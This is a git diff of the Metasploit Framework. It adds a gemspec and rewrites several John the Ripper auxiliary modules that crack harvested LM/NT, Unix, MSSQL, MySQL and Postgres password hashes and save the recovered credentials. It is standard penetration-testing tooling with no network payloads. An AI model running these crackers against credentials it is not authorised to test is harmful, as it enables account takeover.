Errno::ENOENT, - "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+ - " for '#{entry}'" - end -end - - -module Kernel #:nodoc:all - alias :oldRequire :require - - def require(moduleName) - zip_require(moduleName) || oldRequire(moduleName) - end - - def zip_require(moduleName) - return false if already_loaded?(moduleName) - get_resource(ensure_rb_extension(moduleName)) { - |zis| - eval(zis.read); $" << moduleName - } - return true - rescue Errno::ENOENT => ex - return false - end - - def get_resource(resourceName, &aProc) - zl = ZipList.new($:.grep(/\.zip$/)) - zl.get_input_stream(resourceName, &aProc) - end - - def already_loaded?(moduleName) - moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$") - $".detect { |e| e =~ moduleRE } != nil - end - - def ensure_rb_extension(aString) - aString.sub(/(\.rb)?$/i, ".rb") - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec new file mode 100644 index 0000000000..6999c787e3 --- /dev/null +++ b/metasploit-framework.gemspec @@ -0,0 +1,83 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework' + spec.description = 'metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + spec.files = `git ls-files`.split($/).reject { |file| + file =~ /^config/ + } + spec.bindir = '.' + spec.executables = [ + 'msfbinscan', + 'msfcli', + 'msfconsole', + 'msfd', + 'msfelfscan', + 'msfencode', + 'msfmachscan', + 'msfpayload', + 'msfpescan', + 'msfrop', + 'msfrpc', + 'msfrpcd', + 'msfupdate', + 'msfvenom' + ] + spec.test_files = spec.files.grep(%r{^spec/}) + spec.require_paths = ["lib"] + + # The Metasploit ecosystem is not ready for Rails 4 as it uses features of Rails 3.X that are removed in Rails 4. + rails_version_constraint = '< 4.0.0' + + # Need 3+ for ActiveSupport::Concern + spec.add_runtime_dependency 'activesupport', '>= 3.0.0', rails_version_constraint + # Needed for config.action_view for view plugin compatibility for Pro + spec.add_runtime_dependency 'actionpack', rails_version_constraint + # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) + spec.add_runtime_dependency 'bcrypt' + # Needed for some admin modules (scrutinizer_add_user.rb) + spec.add_runtime_dependency 'json' + # Things that would normally be part of the database model, but which + # are needed when there's no database + spec.add_runtime_dependency 'metasploit-model', '~> 0.26.1' + # Needed for Meterpreter on Windows, soon others. + spec.add_runtime_dependency 'meterpreter_bins', '0.0.6' + # Needed by msfgui and other rpc components + spec.add_runtime_dependency 'msgpack' + # Needed by anemone crawler + spec.add_runtime_dependency 'nokogiri' + # Needed by db.rb and Msf::Exploit::Capture + spec.add_runtime_dependency 'packetfu', '1.1.9' + # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines + spec.add_runtime_dependency 'railties' + # Needed by JSObfu + spec.add_runtime_dependency 'rkelly-remix', '0.0.6' + # Needed by anemone crawler + spec.add_runtime_dependency 'robots' + # Needed by some modules + spec.add_runtime_dependency 'rubyzip', '~> 1.1' + # Needed for some post modules + spec.add_runtime_dependency 'sqlite3' + # required for Time::TZInfo in ActiveSupport + spec.add_runtime_dependency 'tzinfo' +end diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index cbe3c02004..3b60d618c1 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,67 +29,67 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - begin - wordlist.write( build_seed().join("\n") + "\n" ) - ensure - wordlist.close - end + cracker = new_john_cracker - myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) - return if myloots.nil? or myloots.empty? + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - loot_data = '' - - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - next + ['des'].each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - loot_data << row + + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end - end - hashlist = Rex::Quickfile.new("jtrtmp") - hashlist.write(loot_data) - hashlist.close - - print_status("HashList: #{hashlist.path}") - - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') - - cracked = john_show_passwords(hashlist.path) - - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) end end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'des').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + end diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 0c281b27b3..57d02cb2bc 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -27,132 +28,102 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - hashlist = Rex::Quickfile.new("jtrtmp") + cracker = new_john_cracker - begin - # Seed the wordlist with usernames, passwords, and hostnames - seed = [] + # generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name } - myworkspace.creds.each do |o| - seed << john_expand_word( o.user ) if o.user - seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/) + ['lm','nt'].each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values {|v| seed << v } - - # Write the seed file - wordlist.write( seed.flatten.uniq.join("\n") + "\n" ) - - print_status("Seeded the password database with #{seed.length} words...") - - # Append the standard JtR wordlist as well - ::File.open(john_wordlist_path, "rb") do |fd| - wordlist.write fd.read(fd.stat.size) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end - # Close the wordlist to prevent sharing violations (windows) - wordlist.close - - # Create a PWDUMP style input file for SMB Hashes - smb_hashes = myworkspace.creds.select{|x| x.ptype == "smb_hash" } - smb_hashes.each do |cred| - hashlist.write( "cred_#{cred[:id]}:#{cred[:id]}:#{cred[:pass]}:::\n" ) - end - hashlist.close - - if smb_hashes.length > 0 - cracked_ntlm = {} - cracked_lm = {} - added = [] - - john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'lm') - john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'nt') - - # Crack this in LANMAN format using wordlist mode with tweaked rules - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'lm') - - # Crack this in LANMAN format using various incremntal modes - john_crack(hashlist.path, :incremental => "All4", :format => 'lm') - john_crack(hashlist.path, :incremental => "Digits5", :format => 'lm') - - # Parse cracked passwords and permute LANMAN->NTLM as needed - cracked = john_show_passwords(hashlist.path, 'lm') - cracked[:users].each_pair do |k,v| - next if v == "" - next if (v[0,7] == "???????" or v[7,7] == "???????") - next if not k =~ /^cred_(\d+)/m - cid = $1.to_i - - cracked_lm[k] = v - - cred_find = smb_hashes.select{|x| x[:id] == cid} - next if cred_find.length == 0 - - cred = cred_find.first - ntlm = cred.pass.split(":", 2).last - done = john_lm_upper_to_ntlm(v, ntlm) - cracked_ntlm[k] = done if done - end - - # Append any cracked values to the wordlist - tfd = ::File.open(wordlist.path, "ab") - cracked_lm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - cracked_ntlm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - tfd.close - - # Crack this in NTLM format - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'nt') - - # Crack this in NTLM format using various incremntal modes - john_crack(hashlist.path, :incremental => "All4", :format => 'nt') - john_crack(hashlist.path, :incremental => "Digits5", :format => 'nt') - - # Parse cracked passwords - cracked = john_show_passwords(hashlist.path, 'nt') - cracked[:users].each_pair do |k,v| - next if cracked_ntlm[k] - cracked_ntlm[k] = v - end - - # Append any cracked values to the wordlist - tfd = ::File.open(wordlist.path, "ab") - cracked_ntlm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - tfd.close - - # Store the cracked results based on user_id => cred.id - cracked_ntlm.each_pair do |k,v| - next if not k =~ /^cred_(\d+)/m - cid = $1.to_i - - cred_find = smb_hashes.select{|x| x[:id] == cid} - next if cred_find.length == 0 - cred = cred_find.first - next if cred.user.to_s.strip.length == 0 - - print_good("Cracked: #{cred.user}:#{v} (#{cred.service.host.address}:#{cred.service.port})") - report_auth_info( - :host => cred.service.host, - :service => cred.service, - :user => cred.user, - :pass => v, - :type => "password", - :source_id => cred[:id], - :source_type => 'cracked' - ) + if format == 'lm' + print_status "Cracking #{format} hashes in incremental mode (All4)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'All4' + cracker_instance.crack do |line| + print_status line.chomp end end - # XXX: Enter other hash types here (shadow, etc) + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end - rescue ::Timeout::Error - ensure - wordlist.close rescue nil - hashlist.close rescue nil - ::File.unlink(wordlist.path) rescue nil - ::File.unlink(hashlist.path) rescue nil + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=7 + username = fields.shift + core_id = fields.pop + + # pop off dead space here + 2.times{ fields.pop } + + # get the NT and LM hashes + nt_hash = fields.pop + lm_hash = fields.pop + password = fields.join(':') + + if format == 'lm' + if password.blank? + if nt_hash == Metasploit::Credential::NTLMHash::BLANK_NT_HASH + password = '' + else + next + end + end + password = john_lm_upper_to_ntlm(password, nt_hash) + # password can be nil if the hash is broken (i.e., the NT and + # LM sides don't actually match) or if john was only able to + # crack one half of the LM hash. In the latter case, we'll + # have a line like: + # username:???????WORD:...:...::: + next if password.nil? + end + + print_good "#{username}:#{password}:#{core_id}" + create_cracked_credential( username: username, password: password, core_id: core_id) + end end end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NTLMHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id } ).each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{id}:#{hash_string}:::#{id}" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end end diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 452abf99dc..5e124b513d 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -36,77 +37,62 @@ class Metasploit3 < Msf::Auxiliary end def run - @wordlist = Rex::Quickfile.new("jtrtmp") - begin - @wordlist.write( build_seed().join("\n") + "\n" ) - ensure - @wordlist.close + formats = [ 'md5', 'des', 'bsdi'] + if datastore['Crypt'] + format << 'crypt' end - myloots = myworkspace.loots.where('ltype=?', 'linux.hashes') - return if myloots.nil? or myloots.empty? + cracker = new_john_cracker - build_hashlist(myloots) + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - print_status("HashList: #{@hashlist.path}") - - try('md5') - try('des') - try('bsdi') - try('crypt') if datastore['Crypt'] - - cracked = john_show_passwords(@hashlist.path) - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] + formats.each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=7 + username = fields.shift + core_id = fields.pop + 4.times { fields.pop } + password = fields.join('') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) end end - def try(format) - print_status("Trying Format:#{format} Wordlist: #{@wordlist.path}") - john_crack(@hashlist.path, :wordlist => @wordlist.path, :rules => 'single', :format => format) - print_status("Trying Format:#{format} Rule: All4...") - john_crack(@hashlist.path, :incremental => "All4", :format => format) - print_status("Trying Format:#{format} Rule: Digits5...") - john_crack(@hashlist.path, :incremental => "Digits5", :format => format) - end - - def build_hashlist(myloots) - loot_data = [] - - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read(f.stat.size) - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - usf.each_line do |row| - row.gsub!("\n", ":#{myloot.host.address}\n") - loot_data << row + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'md5,des,bsdi,crypt').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:::::#{id}:" end end - - @hashlist = Rex::Quickfile.new("jtrtmp") - @hashlist.write(loot_data.join) - @hashlist.close + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path end + + end diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index a1d9d8ba2c..56c88b67bc 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,62 +29,70 @@ class Metasploit3 < Msf::Auxiliary end def run - @wordlist = Rex::Quickfile.new("jtrtmp") + @formats = Set.new + cracker = new_john_cracker - @wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" ) - @wordlist.close - print_status("Cracking MSSQL Hashes") - crack("mssql") - print_status("Cracking MSSQL05 Hashes") - crack("mssql05") + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - end - - - - - def crack(format) - - hashlist = Rex::Quickfile.new("jtrtmp") - ltype= "#{format}.hashes" - myloots = myworkspace.loots.where('ltype=?', ltype) - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - begin - mssql_array = CSV.read(myloot.path).drop(1) - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - mssql_array.each do |row| - hashlist.write("#{row[0]}:0x#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n") - end + @formats.each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - hashlist.close - print_status("HashList: #{hashlist.path}") - print_status("Trying Wordlist: #{@wordlist.path}") - john_crack(hashlist.path, :wordlist => @wordlist.path, :rules => 'single', :format => format) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end - print_status("Trying Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => format) + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end - print_status("Trying Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => format) - - cracked = john_show_passwords(hashlist.path, format) - - print_status("#{cracked[:cracked]} hashes were cracked!") - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end end + end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: ['mssql', 'mssql05', 'mssql12']).each do |hash| + # Track the formats that we've seen so we do not attempt a format that isn't relevant + @formats << hash.jtr_format + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + + end diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 488c6c7e36..cf5d28e1a3 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,81 +29,64 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") + cracker = new_john_cracker - wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" ) + #generate our wordlist and close the file handle + wordlist = wordlist_file wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - hashlist = Rex::Quickfile.new("jtrtmp") - - myloots = myworkspace.loots.where('ltype=?', 'mysql.hashes') - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - begin - mssql_array = CSV.read(myloot.path).drop(1) - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - mssql_array.each do |row| - hashlist.write("#{row[0]}:#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n") - end - end - hashlist.close - - print_status("HashList: #{hashlist.path}") - print_status("Trying 'mysql-fast' Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'mysql-fast') - - print_status("Trying 'mysql-fast' Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'mysql-fast') - - print_status("Trying mysql-fast Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'mysql-fast') - - cracked = john_show_passwords(hashlist.path, 'mysql-fast') - - print_status("#{cracked[:cracked]} hashes were cracked!") - - #Save cracked creds and add the passwords back to the wordlist for the next round - tfd = ::File.open(wordlist.path, "ab") - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - tfd.write( v[0] + "\n" ) - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + ['mysql','mysql-sha1'].each do |format| + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - print_status("Trying 'mysql-sha1' Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'mysql-sha1') - - print_status("Trying 'mysql-sha1' Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'mysql-sha1') - - print_status("Trying 'mysql-sha1' Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'mysql-sha1') - - cracked = john_show_passwords(hashlist.path, 'mysql-sha1') - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) + end end + end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'mysql,mysql-sha1').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path end diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb new file mode 100644 index 0000000000..9b7403422c --- /dev/null +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/auxiliary/jtr' + + +class Metasploit3 < Msf::Auxiliary + + #Included to grab the john.pot and use some utiltiy functions + include Msf::Auxiliary::JohnTheRipper + + def initialize + super( + 'Name' => 'John the Ripper Postgres SQL Password Cracker', + 'Description' => %Q{ + This module uses John the Ripper to attempt to crack Postgres password + hashes, gathered by the postgres_hashdump module. It is slower than some of the other + JtR modules because it has to do some wordlist manipulation to properly handle postgres' + format. + }, + 'Author' => ['theLightCosine'], + 'License' => MSF_LICENSE + ) + + end + + def run + @username_set = Set.new + + cracker = new_john_cracker + + hash_list = hash_file + + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + + + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_list + + ['raw-md5'].each do |format| + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + + # Postgres hashes always prepend the username to the password before hashing. So we strip the username back off here. + password.gsub!(/^#{username}/,'') + print_good "#{username}:#{password}:#{core_id}" + create_cracked_credential( username: username, password: password, core_id: core_id) + end + end + + end + + # Override the mixin method to add prependers + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + prependers: @username_set, + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file + end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'raw-md5,postgres').each do |hash| + hash.cores.each do |core| + user = core.public.username + @username_set << user + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + +end diff --git a/modules/auxiliary/analyze/jtr_unshadow.rb b/modules/auxiliary/analyze/jtr_unshadow.rb index b46d2f9b01..13a19ed202 100644 --- a/modules/auxiliary/analyze/jtr_unshadow.rb +++ b/modules/auxiliary/analyze/jtr_unshadow.rb @@ -8,8 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::JohnTheRipper - def initialize super( 'Name' => 'Unix Unshadow Utility', @@ -30,14 +28,7 @@ class Metasploit3 < Msf::Auxiliary end def run - - unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH']) - if unshadow - print_good(unshadow) - filename= "#{datastore['IP']}_Linux_Hashes.txt" - lootfile = store_loot("linux.hashes", "text/plain", datastore['IP'], unshadow, filename, "Linux Hashes") - print_status("Saved unshadowed file: #{lootfile}") - end + print_error "This module is deprecated and does nothing. It will be removed in the next release!" end end diff --git a/modules/auxiliary/analyze/postgres_md5_crack.rb b/modules/auxiliary/analyze/postgres_md5_crack.rb deleted file mode 100644 index 2b9c9df045..0000000000 --- a/modules/auxiliary/analyze/postgres_md5_crack.rb +++ /dev/null @@ -1,82 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' -require 'digest/md5' - -class Metasploit3 < Msf::Auxiliary - - #Included to grab the john.pot and use some utiltiy functions - include Msf::Auxiliary::JohnTheRipper - - def initialize - super( - 'Name' => 'Postgres SQL md5 Password Cracker', - 'Description' => %Q{ - This module attempts to crack Postgres SQL md5 password hashes. - It creates hashes based on information saved in the MSF Database - such as hostnames, usernames, passwords, and database schema information. - The user can also supply an additional external wordlist if they wish. - }, - 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE - ) - - - deregister_options('JOHN_BASE','JOHN_PATH') - end - - def run - - print_status("Processing wordlist...") - @seed= build_seed() - - print_status("Wordlist length: #{@seed.length}") - - 